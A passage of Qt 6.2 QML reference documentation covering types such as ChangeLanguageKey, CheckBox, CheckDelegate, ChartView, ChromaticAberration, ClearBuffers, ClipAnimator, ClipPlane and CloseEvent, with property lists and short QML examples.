 ###  label : [string](qml-string)

 The label of the category.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-categoryrange.html>

ChangeLanguageKey QML Type
==========================

 Change language key for keyboard layouts. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.VirtualKeyboard |
|  Inherits: | [BaseKey](qml-qtquick-virtualkeyboard-basekey) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-changelanguagekey-members.html)

 Properties
----------

 * **[customLayoutsOnly](qml-qtquick-virtualkeyboard-changelanguagekey#customLayoutsOnly-prop)** : bool

 Detailed Description
--------------------

 This key changes the current input language in the list of supported languages. The key has two function modes:

 * Popup mode
* Toggle mode

 The popup mode is enabled by the [KeyboardStyle::languagePopupListEnabled](qml-qtquick-virtualkeyboard-styles-keyboardstyle#languagePopupListEnabled-prop) property. If enabled, a key press will open a popup list with available languages. Otherwise it will cycle to the next available input language.

 Property Documentation
----------------------

 ###  customLayoutsOnly : [bool](qml-bool)

 If this property is true, the input language is only changed between the languages providing custom layout.

 For example, if only the English and Arabic languages provide digits layout, then other locales using the shared default layout are ignored.

 The default is false.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-changelanguagekey.html>

CheckBox QML Type
=================

 Check button that can be toggled on or off. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [AbstractButton](qml-qtquick-controls2-abstractbutton) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-checkbox-members.html)

 Properties
----------

 * **[checkState](qml-qtquick-controls2-checkbox#checkState-prop)** : enumeration
* **[nextCheckState](qml-qtquick-controls2-checkbox#nextCheckState-prop)** : function
* **[tristate](qml-qtquick-controls2-checkbox#tristate-prop)** : bool

 Detailed Description
--------------------


    ![]  
CheckBox presents an option button that can be toggled on (checked) or off (unchecked). Check boxes are typically used to select one or more options from a set of options. For larger sets of options, such as those in a list, consider using [CheckDelegate](qml-qtquick-controls2-checkdelegate) instead.

 CheckBox inherits its API from [AbstractButton](qml-qtquick-controls2-abstractbutton). For instance, the state of the checkbox can be set with the [checked](qml-qtquick-controls2-abstractbutton#checked-prop) property.

 In addition to the checked and unchecked states, there is a third state: partially checked. The partially checked state can be enabled using the [tristate](qml-qtquick-controls2-checkbox#tristate-prop) property. This state indicates that the regular checked/unchecked state can not be determined; generally because of other states that affect the checkbox. This state is useful when several child nodes are selected in a treeview, for example.

 
```
ColumnLayout {
    CheckBox {
        checked: true
        text: qsTr("First")
    }
    CheckBox {
        text: qsTr("Second")
    }
    CheckBox {
        checked: true
        text: qsTr("Third")
    }
}
```
 Hierarchical checkbox groups can be managed with a non-exclusive [ButtonGroup](qml-qtquick-controls2-buttongroup).

 ![]


The following example illustrates how the combined check state of children can be bound to the check state of the parent checkbox:

 
```
Column {
    ButtonGroup {
        id: childGroup
        exclusive: false
        checkState: parentBox.checkState
    }

    CheckBox {
        id: parentBox
        text: qsTr("Parent")
        checkState: childGroup.checkState
    }

    CheckBox {
        checked: true
        text: qsTr("Child 1")
        leftPadding: indicator.width
        ButtonGroup.group: childGroup
    }

    CheckBox {
        text: qsTr("Child 2")
        leftPadding: indicator.width
        ButtonGroup.group: childGroup
    }
}
```
 **See also** [Customizing CheckBox](qtquickcontrols2-customize#customizing-checkbox), [ButtonGroup](qml-qtquick-controls2-buttongroup), and [Button Controls](qtquickcontrols2-buttons).

 Property Documentation
----------------------

 ###  checkState : [enumeration](qml-enumeration)

 This property holds the check state of the checkbox.

 Available states:

 

| Constant | Description |
| --- | --- |
| `Qt.Unchecked` | The checkbox is unchecked. |
| `Qt.PartiallyChecked` | The checkbox is partially checked. This state is only used when [tristate](qml-qtquick-controls2-checkbox#tristate-prop) is enabled. |
| `Qt.Checked` | The checkbox is checked. |

 **See also** [tristate](qml-qtquick-controls2-checkbox#tristate-prop) and [checked](qml-qtquick-controls2-abstractbutton#checked-prop).

 ###  [since QtQuick.Controls 2.4 (Qt 5.11)] nextCheckState : function

 This property holds a callback function that is called to determine the next check state whenever the checkbox is interactively toggled by the user via touch, mouse, or keyboard.

 By default, a normal checkbox cycles between `Qt.Unchecked` and `Qt.Checked` states, and a tri-state checkbox cycles between `Qt.Unchecked`, `Qt.PartiallyChecked`, and `Qt.Checked` states.

 The `nextCheckState` callback function can override the default behavior. The following example implements a tri-state checkbox that can present a partially checked state depending on external conditions, but never cycles to the partially checked state when interactively toggled by the user.

 
```
CheckBox {
    tristate: true
    checkState: allChildrenChecked ? Qt.Checked :
                   anyChildChecked ? Qt.PartiallyChecked : Qt.Unchecked

    nextCheckState: function() {
        if (checkState === Qt.Checked)
            return Qt.Unchecked
        else
            return Qt.Checked
    }
}
```
 This property was introduced in QtQuick.Controls 2.4 (Qt 5.11).

 ###  tristate : [bool](qml-bool)

 This property holds whether the checkbox is a tri-state checkbox.

 In the animation below, the first checkbox is tri-state:


    ![]  
The default is `false`, i.e., the checkbox has only two states.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-checkbox.html>

CheckDelegate QML Type
======================

 Item delegate with a check indicator that can be toggled on or off. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [ItemDelegate](qml-qtquick-controls2-itemdelegate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-checkdelegate-members.html)

 Properties
----------

 * **[checkState](qml-qtquick-controls2-checkdelegate#checkState-prop)** : enumeration
* **[nextCheckState](qml-qtquick-controls2-checkdelegate#nextCheckState-prop)** : function
* **[tristate](qml-qtquick-controls2-checkdelegate#tristate-prop)** : bool

 Detailed Description
--------------------


    ![]  
CheckDelegate presents an item delegate that can be toggled on (checked) or off (unchecked). Check delegates are typically used to select one or more options from a set of options in a list. For smaller sets of options, or for options that need to be uniquely identifiable, consider using [CheckBox](qml-qtquick-controls2-checkbox) instead.

 CheckDelegate inherits its API from [ItemDelegate](qml-qtquick-controls2-itemdelegate), which is inherited from [AbstractButton](qml-qtquick-controls2-abstractbutton). For instance, you can set [text](qml-qtquick-controls2-abstractbutton#text-prop), and react to [clicks](qml-qtquick-controls2-abstractbutton#clicked-signal) using the [AbstractButton](qml-qtquick-controls2-abstractbutton) API. The state of the check delegate can be set with the [checked](qml-qtquick-controls2-abstractbutton#checked-prop) property.

 In addition to the checked and unchecked states, there is a third state: partially checked. The partially checked state can be enabled using the [tristate](qml-qtquick-controls2-checkdelegate#tristate-prop) property. This state indicates that the regular checked/unchecked state can not be determined; generally because of other states that affect the check delegate. This state is useful when several child nodes are selected in a treeview, for example.

 
```
ListView {
    model: ["Option 1", "Option 2", "Option 3"]
    delegate: CheckDelegate {
        text: modelData
    }
}
```
 **See also** [Customizing CheckDelegate](qtquickcontrols2-customize#customizing-checkdelegate), [Delegate Controls](qtquickcontrols2-delegates), and [CheckBox](qml-qtquick-controls2-checkbox).

 Property Documentation
----------------------

 ###  checkState : [enumeration](qml-enumeration)

 This property determines the check state of the check delegate.

 Available states:

 

| Constant | Description |
| --- | --- |
| `Qt.Unchecked` | The delegate is unchecked. |
| `Qt.PartiallyChecked` | The delegate is partially checked. This state is only used when [tristate](qml-qtquick-controls2-checkdelegate#tristate-prop) is enabled. |
| `Qt.Checked` | The delegate is checked. |

 **See also** [tristate](qml-qtquick-controls2-checkdelegate#tristate-prop) and [checked](qml-qtquick-controls2-abstractbutton#checked-prop).

 ###  [since QtQuick.Controls 2.4 (Qt 5.11)] nextCheckState : function

 This property holds a callback function that is called to determine the next check state whenever the check delegate is interactively toggled by the user via touch, mouse, or keyboard.

 By default, a normal check delegate cycles between `Qt.Unchecked` and `Qt.Checked` states, and a tri-state check delegate cycles between `Qt.Unchecked`, `Qt.PartiallyChecked`, and `Qt.Checked` states.

 The `nextCheckState` callback function can override the default behavior. The following example implements a tri-state check delegate that can present a partially checked state depending on external conditions, but never cycles to the partially checked state when interactively toggled by the user.

 
```
CheckDelegate {
    tristate: true
    checkState: allChildrenChecked ? Qt.Checked :
                   anyChildChecked ? Qt.PartiallyChecked : Qt.Unchecked

    nextCheckState: function() {
        if (checkState === Qt.Checked)
            return Qt.Unchecked
        else
            return Qt.Checked
    }
}
```
 This property was introduced in QtQuick.Controls 2.4 (Qt 5.11).

 ###  tristate : [bool](qml-bool)

 This property determines whether the check delegate has three states.

 In the animation below, the first checkdelegate is tri-state:


    ![]  
The default is `false`, i.e., the delegate has only two states.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-checkdelegate.html>

ClipBlendValue QML Type
=======================

 Type used for including a clip in a blend tree. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Animation |
|  Instantiates: | [QClipBlendValue](qt3danimation-qclipblendvalue) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-animation-clipblendvalue-members.html)

 Properties
----------

 * **[clip](qml-qt3d-animation-clipblendvalue#clip-prop)** : AbstractAnimationClip

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  clip : AbstractAnimationClip

 The animation clip that needs to be included in the blend tree.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-animation-clipblendvalue.html>

ChartView QML Type
==================

 Manages the graphical representation of the chart's series, legends, and axes. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Inherited By: | [PolarChartView](qml-qtcharts-polarchartview) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-chartview-members.html)

 Properties
----------

 * **[animationDuration](qml-qtcharts-chartview#animationDuration-prop)** : int
* **[animationEasingCurve](qml-qtcharts-chartview#animationEasingCurve-prop)** : easing
* **[animationOptions](qml-qtcharts-chartview#animationOptions-prop)** : enumeration
* **[axes](qml-qtcharts-chartview#axes-prop)** : list<AbstractAxis>
* **[backgroundColor](qml-qtcharts-chartview#backgroundColor-prop)** : color
* **[backgroundRoundness](qml-qtcharts-chartview#backgroundRoundness-prop)** : real
* **[count](qml-qtcharts-chartview#count-prop)** : int
* **[dropShadowEnabled](qml-qtcharts-chartview#dropShadowEnabled-prop)** : bool
* **[legend](qml-qtcharts-chartview#legend-prop)** : Legend
* **[locale](qml-qtcharts-chartview#locale-prop)** : locale
* **[localizeNumbers](qml-qtcharts-chartview#localizeNumbers-prop)** : bool
* **[margins](qml-qtcharts-chartview#margins-prop)** : Margins
* **[plotArea](qml-qtcharts-chartview#plotArea-prop)** : rect
* **[plotAreaColor](qml-qtcharts-chartview#plotAreaColor-prop)** : color
* **[theme](qml-qtcharts-chartview#theme-prop)** : enumeration
* **[title](qml-qtcharts-chartview#title-prop)** : string
* **[titleColor](qml-qtcharts-chartview#titleColor-prop)** : color
* **[titleFont](qml-qtcharts-chartview#titleFont-prop)** : font

 Signals
-------

 * **[seriesAdded](qml-qtcharts-chartview#seriesAdded-signal)**(AbstractSeries *series*)
* **[seriesRemoved](qml-qtcharts-chartview#seriesRemoved-signal)**(AbstractSeries *series*)

 Methods
-------

 * Axis **[axisX](qml-qtcharts-chartview#axisX-method)**(AbstractSeries *series*)
* Axis **[axisY](qml-qtcharts-chartview#axisY-method)**(AbstractSeries *series*)
* AbstractSeries **[createSeries](qml-qtcharts-chartview#createSeries-method)**(enumeration *type*, string *name*, AbstractAxis *axisX*, AbstractAxis *axisY*)
* **[isZoomed](qml-qtcharts-chartview#isZoomed-method)**()
* point **[mapToPosition](qml-qtcharts-chartview#mapToPosition-method)**(point *value*, AbstractSeries *series*)
* point **[mapToValue](qml-qtcharts-chartview#mapToValue-method)**(point *position*, AbstractSeries *series*)
* **[removeAllSeries](qml-qtcharts-chartview#removeAllSeries-method)**()
* **[removeSeries](qml-qtcharts-chartview#removeSeries-method)**(AbstractSeries *series*)
* **[scrollDown](qml-qtcharts-chartview#scrollDown-method)**(real *pixels*)
* **[scrollLeft](qml-qtcharts-chartview#scrollLeft-method)**(real *pixels*)
* **[scrollRight](qml-qtcharts-chartview#scrollRight-method)**(real *pixels*)
* **[scrollUp](qml-qtcharts-chartview#scrollUp-method)**(real *pixels*)
* AbstractSeries **[series](qml-qtcharts-chartview#series-method-1)**(string *name*)
* AbstractSeries **[series](qml-qtcharts-chartview#series-method)**(int *index*)
* **[setAxisX](qml-qtcharts-chartview#setAxisX-method)**(AbstractAxis *axis*, AbstractSeries *series*)
* **[setAxisY](qml-qtcharts-chartview#setAxisY-method)**(AbstractAxis *axis*, AbstractSeries *series*)
* **[zoom](qml-qtcharts-chartview#zoom-method)**(real *factor*)
* **[zoomIn](qml-qtcharts-chartview#zoomIn-method-1)**(rect *rectangle*)
* **[zoomIn](qml-qtcharts-chartview#zoomIn-method)**()
* **[zoomOut](qml-qtcharts-chartview#zoomOut-method)**()
* **[zoomReset](qml-qtcharts-chartview#zoomReset-method)**()

 Detailed Description
--------------------

 The ChartView type displays different series types as charts.

 ![]


The following QML code shows how to create a simple chart with one pie series:

 
```
import QtQuick 2.0
import QtCharts 2.0

ChartView {
    width: 400
    height: 300
    theme: ChartView.ChartThemeBrownSand
    antialiasing: true

    PieSeries {
        id: pieSeries
        PieSlice { label: "eaten"; value: 94.9 }
        PieSlice { label: "not yet eaten"; value: 5.1 }
    }
}
```
 Property Documentation
----------------------

 ###  animationDuration : [int](qml-int)

 The duration of the animation for the chart.

 ###  animationEasingCurve : easing

 The easing curve of the animation for the chart.

 ###  animationOptions : [enumeration](qml-enumeration)

 The animations enabled in the chart:

 

| Constant | Description |
| --- | --- |
| `ChartView.NoAnimation` | Animation is disabled in the chart. This is the default value. |
| `ChartView.GridAxisAnimations` | Grid axis animation is enabled in the chart. |
| `ChartView.SeriesAnimations` | Series animation is enabled in the chart. |
| `ChartView.AllAnimations` | All animation types are enabled in the chart. |

 ###  axes : [list](qml-list)<[AbstractAxis](qml-qtcharts-abstractaxis)>

 The axes of the chart.

 ###  backgroundColor : [color](qml-color)

 The color of the chart's background. By default, the background color is specified by the chart theme.

 **See also** [theme](qml-qtcharts-chartview#theme-prop).

 ###  backgroundRoundness : [real](qml-real)

 The diameter of the rounding circle at the corners of the chart background.

 ###  count : [int](qml-int)

 The number of series added to the chart.

 ###  dropShadowEnabled : [bool](qml-bool)

 Whether the background drop shadow effect is enabled.

 If set to `true`, the background drop shadow effect is enabled. If set to `false`, it is disabled.

 ###  legend : [Legend](qml-qtcharts-legend)

 The legend of the chart. The legend lists all the series, pie slices, and bar sets added to the chart.

 ###  [since QtCharts 2.0] locale : locale

 The locale used to format various chart labels.

 Labels are localized only when [localizeNumbers](qml-qtcharts-chartview#localizeNumbers-prop) is `true`, except for [DateTimeAxis](qml-qtcharts-datetimeaxis) labels, which always use the [QLocale](qlocale) set with this property.

 Defaults to the application default locale at the time when the chart is constructed.

 This property was introduced in QtCharts 2.0.

 **See also** [localizeNumbers](qml-qtcharts-chartview#localizeNumbers-prop).

 ###  [since QtCharts 2.0] localizeNumbers : [bool](qml-bool)

 Whether numbers are localized.

 When `true`, all generated numbers appearing in various series and axis labels will be localized using the [QLocale](qlocale) set with the [locale](qml-qtcharts-chartview#locale-prop) property. When `false`, the *C* locale is always used. Defaults to `false`.

  **Note:** This property does not affect [DateTimeAxis](qml-qtcharts-datetimeaxis) labels, which always use the [QLocale](qlocale) set with the locale property.

  This property was introduced in QtCharts 2.0.

 **See also** [locale](qml-qtcharts-chartview#locale-prop).

 ###  margins : [Margins](qml-qtcharts-margins)

 The minimum margins allowed between the edge of the chart rectangle and the plot area. The margins are used for drawing the title, axes, and legend.

 ###  plotArea : [rect](qml-rect)

 The rectangle within which the chart is drawn.

 The plot area does not include the area defined by margins. By default this will resize if inside a [ChartView](qml-qtcharts-chartview). If an explicit rectangle is set for the plot area then it will respect this, to revert back to the default behavior, then setting it to `Qt.rect(0, 0, 0, 0)` will achieve this.

 **See also** [margins](qml-qtcharts-chartview#margins-prop).

 ###  plotAreaColor : [color](qml-color)

 The color of the background of the chart's plot area. By default, the plot area background uses the chart's background color, which is specified by the chart theme.

 **See also** [backgroundColor](qml-qtcharts-chartview#backgroundColor-prop) and [theme](qml-qtcharts-chartview#theme-prop).

 ###  theme : [enumeration](qml-enumeration)

 The theme used by the chart.

 A theme is a built-in collection of UI style related settings applied to all the visual elements of a chart, such as colors, pens, brushes, and fonts of series, as well as axes, title, and legend. The [Qml Oscilloscope](https://doc.qt.io/qt-6.2/qtcharts-qmloscilloscope-example.html) example illustrates how to set a theme.

  **Note:** Changing the theme will overwrite all customizations previously applied to the series.

  The following values are supported:

 

| Constant | Description |
| --- | --- |
| `ChartView.ChartThemeLight` | The light theme, which is the default theme. |
| `ChartView.ChartThemeBlueCerulean` | The cerulean blue theme. |
| `ChartView.ChartThemeDark` | The dark theme. |
| `ChartView.ChartThemeBrownSand` | The sand brown theme. |
| `ChartView.ChartThemeBlueNcs` | The natural color system (NCS) blue theme. |
| `ChartView.ChartThemeHighContrast` | The high contrast theme. |
| `ChartView.ChartThemeBlueIcy` | The icy blue theme. |
| `ChartView.ChartThemeQt` | The Qt theme. |

 ###  title : [string](qml-string)

 The title is shown as a headline on top of the chart. Chart titles support HTML formatting.

 **See also** [titleColor](qml-qtcharts-chartview#titleColor-prop).

 ###  titleColor : [color](qml-color)

 The color of the title text.

 ###  titleFont : [font](qml-font)

 The title font of the chart.

 For more information, see [font](qml-font).

 Signal Documentation
--------------------

 ###  seriesAdded([AbstractSeries](qml-qtcharts-abstractseries) *series*)

 This signal is emitted when the series *series* is added to the chart.

 **Note:** The corresponding handler is `onSeriesAdded`.

 ###  seriesRemoved([AbstractSeries](qml-qtcharts-abstractseries) *series*)

 This signal is emitted when the series *series* is removed from the chart. The series object becomes invalid when the signal handler completes.

 **Note:** The corresponding handler is `onSeriesRemoved`.

 Method Documentation
--------------------

 ###  Axis axisX([AbstractSeries](qml-qtcharts-abstractseries) *series*)

 The x-axis of the *series*.

 **See also** [setAxisX](qml-qtcharts-chartview#setAxisX-method)().

 ###  Axis axisY([AbstractSeries](qml-qtcharts-abstractseries) *series*)

 The y-axis of the *series*.

 **See also** [setAxisY](qml-qtcharts-chartview#setAxisY-method)().

 ###  [AbstractSeries](qml-qtcharts-abstractseries) createSeries([enumeration](qml-enumeration) *type*, [string](qml-string) *name*, [AbstractAxis](qml-qtcharts-abstractaxis) *axisX*, [AbstractAxis](qml-qtcharts-abstractaxis) *axisY*)

 Adds a series of the type *type* to the chart with the name *name* and, optionally, the axes *axisX* and *axisY*. For example:

 
```
// lineSeries is a LineSeries object that has already been added to the ChartView; re-use its axes
var myAxisX = chartView.axisX(lineSeries);
var myAxisY = chartView.axisY(lineSeries);
var scatter = chartView.createSeries(ChartView.SeriesTypeScatter, "scatter series", myAxisX, myAxisY);
```
 The following enumeration values can be used as values of *type*:

 

| Constant | Description |
| --- | --- |
| `ChartView.SeriesTypeLine` | A line series. |
| `ChartView.SeriesTypeArea` | An area series. |
| `ChartView.SeriesTypeBar` | A bar series. |
| `ChartView.SeriesTypeStackedBar` | A stacked bar series. |
| `ChartView.SeriesTypePercentBar` | A percent bar series. |
| `ChartView.SeriesTypeBoxPlot` | A box plot series. |
| `ChartView.SeriesTypeCandlestick` | A candlestick series. |
| `ChartView.SeriesTypePie` | A pie series. |
| `ChartView.SeriesTypeScatter` | A scatter series. |
| `ChartView.SeriesTypeSpline` | A spline series. |
| `ChartView.SeriesTypeHorizontalBar` | A horizontal bar series. |
| `ChartView.SeriesTypeHorizontalStackedBar` | A horizontal stacked bar series. |
| `ChartView.SeriesTypeHorizontalPercentBar` | A horizontal percent bar series. |

 ###  isZoomed()

 Returns `true` if any series has a zoomed domain.

 ###  [point](qml-point) mapToPosition([point](qml-point) *value*, [AbstractSeries](qml-qtcharts-abstractseries) *series*)

 Returns the position in the chart of the value *value* in the series *series*.

 ###  [point](qml-point) mapToValue([point](qml-point) *position*, [AbstractSeries](qml-qtcharts-abstractseries) *series*)

 Returns the value in the series *series* located at the position *position* in the chart.

 ###  removeAllSeries()

 Removes all series from the chart and permanently deletes all the series objects.

 ###  removeSeries([AbstractSeries](qml-qtcharts-abstractseries) *series*)

 Removes the series *series* from the chart and permanently deletes the series object.

 ###  scrollDown([real](qml-real) *pixels*)

 Scrolls down by the number of pixels specified by *pixels*. This is a convenience method suitable for key navigation, for example.

 ###  scrollLeft([real](qml-real) *pixels*)

 Scrolls to left by the number of pixels specified by *pixels*. This is a convenience method suitable for key navigation, for example.

 ###  scrollRight([real](qml-real) *pixels*)

 Scrolls to right by by the number of pixels specified by *pixels*. This is a convenience method suitable for key navigation, for example.

 ###  scrollUp([real](qml-real) *pixels*)

 Scrolls up by the number of pixels specified by *pixels*. This is a convenience method suitable for key navigation, for example.

 ###  [AbstractSeries](qml-qtcharts-abstractseries) series([string](qml-string) *name*)

 Returns the first series in the chart with the name *name*. If there is no series with that name, returns null.

 ###  [AbstractSeries](qml-qtcharts-abstractseries) series([int](qml-int) *index*)

 Returns the series with the index *index* on the chart. Together with the [count](qml-qtcharts-chartview#count-prop) property of the chart, this enables looping through the series of a chart.

 **See also** [count](qml-qtcharts-chartview#count-prop).

 ###  setAxisX([AbstractAxis](qml-qtcharts-abstractaxis) *axis*, [AbstractSeries](qml-qtcharts-abstractseries) *series*)

 Sets the x-axis of the *series* to *axis*.

 **See also** [axisX](qml-qtcharts-chartview#axisX-method)().

 ###  setAxisY([AbstractAxis](qml-qtcharts-abstractaxis) *axis*, [AbstractSeries](qml-qtcharts-abstractseries) *series*)

 Sets the y-axis of the *series* to *axis*.

 **See also** [axisY](qml-qtcharts-chartview#axisY-method)().

 ###  zoom([real](qml-real) *factor*)

 Zooms into the chart by the custom factor *factor*.

 A factor over 1.0 zooms into the view in and a factor between 0.0 and 1.0 zooms out of it.

 ###  zoomIn([rect](qml-rect) *rectangle*)

 Zooms into the view to a maximum level at which the rectangle *rectangle* is still fully visible.

  **Note:** This is not supported for polar charts.

  ###  zoomIn()

 Zooms into the view by a factor of two.

 ###  zoomOut()

 Zooms out of the view by a factor of two.

  **Note:** This will do nothing if the result would contain an invalid logarithmic axis range.

  ###  zoomReset()

 Resets the series domains to what they were before any zoom method was called.

  **Note:** This will also reset scrolling and explicit axis range settings specified between the first zoom operation and calling this method. If no zoom operation has been performed, this method does nothing.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-chartview.html>

ChromaticAberration QML Type
============================

 A chromatic aberration effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-chromaticaberration-members.html)

 Properties
----------

 * **[aberrationAmount](qml-qtquick3d-effects-chromaticaberration#aberrationAmount-prop)** : real
* **[focusDepth](qml-qtquick3d-effects-chromaticaberration#focusDepth-prop)** : real
* **[maskTexture](qml-qtquick3d-effects-chromaticaberration#maskTexture-prop)** : TextureInput

 Detailed Description
--------------------

 ![]


The ChromaticAberration effect simulates an imperfection of optical lenses. In real life, chromatic aberration is an optical phenomenon causing color fringes in high contrast areas. These color fringes are caused by different colors refracting at different angles splitting white light into a spectrum. This is called dispersion.

 Property Documentation
----------------------

 ###  aberrationAmount : [real](qml-real)

 The strength of the aberration effect. A negative value inverses the effect. The default value is `50`.

 ###  focusDepth : [real](qml-real)

 The distance to the focus plane. The dispersion scales in relation to the distance from this value. The default value is `600`.

 ###  maskTexture : [TextureInput](qml-qtquick3d-textureinput)

 A grayscale texture to control the position and strength of the effect. The effect is strongest in white areas, and weakest in black areas. The default is a [Texture](qml-qtquick3d-texture) with source `"maps/white.png"`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-chromaticaberration.html>

ClearBuffers QML Type
=====================

 Class to clear buffers. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QClearBuffers](qt3drender-qclearbuffers) |
|  Inherits: | [FrameGraphNode](qml-qt3d-render-framegraphnode) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-clearbuffers-members.html)

 Properties
----------

 * **[buffers](qml-qt3d-render-clearbuffers#buffers-prop)** : enumeration
* **[clearColor](qml-qt3d-render-clearbuffers#clearColor-prop)** : color
* **[clearDepthValue](qml-qt3d-render-clearbuffers#clearDepthValue-prop)** : real
* **[clearStencilValue](qml-qt3d-render-clearbuffers#clearStencilValue-prop)** : int
* **[colorBuffer](qml-qt3d-render-clearbuffers#colorBuffer-prop)** : RenderTargetOutput

 Detailed Description
--------------------

 A [Qt3DRender::QClearBuffers](qt3drender-qclearbuffers) FrameGraph node enables clearing of the specific render target buffers with specific values.

 Property Documentation
----------------------

 ###  buffers : [enumeration](qml-enumeration)

 Specifies the buffer type to be used.

 ###  clearColor : [color](qml-color)

 Specifies the clear color to be used.

 ###  clearDepthValue : [real](qml-real)

 Specifies the clear depth value to be used.

 ###  clearStencilValue : [int](qml-int)

 Specifies the stencil value to be used.

 ###  colorBuffer : [RenderTargetOutput](qml-qt3d-render-rendertargetoutput)

 Specifies a specific color buffer to clear. If set to NULL (default), and ColorBuffer flag is set, all color buffers will be cleared.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-clearbuffers.html>

ClipAnimator QML Type
=====================

 ClipAnimator is a component providing simple animation playback capabilities. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Animation |
|  Since: |  Qt 5.9 |
|  Instantiates: | [QClipAnimator](qt3danimation-qclipanimator) |
|  Inherits: | [AbstractClipAnimator](qml-qt3d-animation-abstractclipanimator) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-animation-clipanimator-members.html)

 Properties
----------

 * **[clip](qml-qt3d-animation-clipanimator#clip-prop)** : var

 Detailed Description
--------------------

 An instance of ClipAnimator can be aggregated by an Entity to add the ability to play back animation clips and to apply the calculated animation values to properties of QObjects.

 The animation key frame data is provided via the clip property. This can be created programmatically with AnimationClip or loaded from file with AnimationClipLoader.

 In order to apply the values played back from the channels of data in the animation clip, the clip animator needs to have a ChannelMapper object assigned to the channelMapper property.

 The properties for controlling the animator are provided by the [AbstractClipAnimator](qml-qt3d-animation-abstractclipanimator) base class.

 **See also** [AbstractClipAnimator](qt3danimation-qabstractclipanimator), [AbstractAnimationClip](qt3danimation-qabstractanimationclip), [ChannelMapper](qt3danimation-qchannelmapper), and [BlendedClipAnimator](qt3danimation-qblendedclipanimator).

 Property Documentation
----------------------

 ###  clip : [var](qml-var)

 This property holds the animation clip which contains the key frame data to be played back. The key frame data can be specified in either an AnimationClip or AnimationClipLoader.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-animation-clipanimator.html>

ClipPlane QML Type
==================

 Enables an additional OpenGL clipping plane that can be in shaders using gl\_ClipDistance. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QClipPlane](qt3drender-qclipplane) |
|  Inherits: | [RenderState](qml-qt3d-render-renderstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-clipplane-members.html)

 Properties
----------

 * **[distance](qml-qt3d-render-clipplane#distance-prop)** : real
* **[normal](qml-qt3d-render-clipplane#normal-prop)** : vector3d
* **[planeIndex](qml-qt3d-render-clipplane#planeIndex-prop)** : int

 Detailed Description
--------------------

 By default, OpenGL supports up to 8 additional clipping planes. ClipPlane allows to enable one of these additional planes. These planes can then be manipulated in the shaders using gl\_ClipDistance[i] where i varies between 0 and 7. The underlying implementation may support more than 8 clip planes, but it is not guaranteed.

 Property Documentation
----------------------

 ###  distance : [real](qml-real)

 Holds the distance of the plane from the world origin.

 ###  normal : [vector3d](qml-vector3d)

 Holds the normal of the plane.

 ###  planeIndex : [int](qml-int)

 Holds the index of the plane.

  **Note:** Usually between 0-7.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-clipplane.html>

CloseEvent QML Type
===================

 Notification that a [Window](qml-qtquick-window) is about to be closed. [More...](#details)

 

|  |  |
| --- | --- |
|  Since: |  Qt 5.1 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-closeevent-members.html)

 Properties
----------

 * **[accepted](qml-closeevent#accepted-prop)** : bool

 Detailed Description
--------------------

 Notification that a window is about to be closed by the windowing system (e.g. the user clicked the title bar close button). The CloseEvent contains an accepted property which can be set to false to abort closing the window.

 **See also** [QQuickWindow::closing](qquickwindow#closing)().

 Property Documentation
----------------------

 ###  accepted : [bool](qml-bool)

 This property indicates whether the application will allow the user to close the window. It is true by default.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-closeevent.html>

ColorDialog QML Type
====================

 A native color dialog. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt.labs.platform |
|  Since: |  Qt 5.8 |
